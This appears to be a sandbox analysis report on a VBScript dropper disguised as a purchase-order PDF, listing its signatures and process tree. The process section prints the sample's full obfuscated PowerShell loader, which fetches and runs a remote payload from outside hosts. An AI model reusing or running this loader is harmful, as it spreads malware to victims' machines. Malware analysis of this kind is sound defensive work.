Analysis
- max time kernel
149s - max time network
120s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260630-en - resource tags
- submitted
03/07/2026, 18:03
General
- Target Purchase_order_4000373697pdf.vbs
- Size 19KB
- Sample260703-wncs8aaw5j
- SHA256 2eef68facffb3462da2ccf1e3a547ad3dc46f803a6865cfede271972706e9ca2
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Purchase_order_4000373697pdf.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBuAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAG8AUABVAEYAegBjADIAVgB0AFkAbQB4ADUATABg#AGQAbABkAEUAVgA0AFoAVwBOADEAZABHAGwAdQBaADAARgB6AGMAMgBWAHQAWQBtAHgANQBLAEMAawA3AEkARwBsAG0ASwBHAGcAZwBJAFQAMQB1AGQAVwB4AHMASwBYAHQAOQBJAEgASgBsAGQASABWAHkAYgBpAEIAQgBjAEgAQgBFAGIAMgAxAGgAYQBXADQAdQBRADMAVgB5AGMAbQBWAHUAZABFAFIAdgBiAFcARgBwAGIAaQA1AE0AYgAyAEYAawBLAEcAYwBwAE8AMwAxADkAJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAOgAvAC8AawB6AGEAYQAuAGMAbwAuAHoAYQAvADEALgBqAHAAZwAnACkALAAoACcAaAB0AHQAcABzADoALwAvADIAMQA2AC4AMgA1ADAALgAyADUAMgAuADEAJwAgACsAIAAnADEAMAAvAGkAbQBhAGcAZQAwADkANQA4ADkANgAwAC4AdAB4AHQALgBqAHAAZwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABg#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBACcAIAAg#ACAAJwBSAFQAPgA+ACgALgAqAD8AKQA8ADwARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAJABnAGcAZgAgAD0AIAAnAHQAeAB0AC4AZABlAG0AagBuAHIAUwAvADUALwA4ADQALgA0ADIAMgAuADkALgA2ADEAMgAvAC8AOgBnAHMAZgBoAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnAGYAIAA9ACAAJABnAGcAZgAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcAZgAuAEwAZQBuAGcAdABoACAALQAgADkAKQANAAoAJABsACAAPQAgACcAMAAnACAAOwANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcAZgAsACAAJABsACwAIAAnACcALAAgACcAUgBlAGcAQQBzAG0AJwAsACAAJwAwACcAIAAsACAAJwB4ADYANAAnACkADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzAHwAcwBvAHIAdAAgAEMAUABVACAALQBkAGUAcwBjAHwAcwBlAGwAZQBjAHQAIAAtAGYAaQByAHMAdAAgADUAfABmAHQAIABOAGEAbQBlACwAQwBQAFUAIAB9AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAA=';iex ([system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('g#','r') )));2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pn5oqpwf\pn5oqpwf.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES43C6.tmp" "c:\Users\Admin\AppData\Local\Temp\pn5oqpwf\CSC89D4107450C4E69B8B19CD1679E7D27.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RES43C6.tmp
pn5oqpwf.dll
CSC89D4107450C4E69B8B19CD1679E7D27.TMP
pn5oqpwf.0.cs
pn5oqpwf.cmdline
memory/2476-14-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-6-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-9-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-10-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-11-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-12-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-13-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-0-0x00007FF839C2F000-0x00007FF839C30000-memory.dmp
memory/2476-15-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-19-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-7-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-8-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-5-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-29-0x0000021EF7D60000-0x0000021EF7D68000-memory.dmp
memory/2476-4-0x0000021EF7DE0000-0x0000021EF7E02000-memory.dmp
memory/2476-3-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-31-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-32-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-33-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/2476-34-0x0000021EF5ED0000-0x0000021EF5EEA000-memory.dmp
memory/2476-38-0x00007FF839AA0000-0x00007FF83A444000-memory.dmp
memory/4280-35-0x000002A4FB7C0000-0x000002A4FB806000-memory.dmp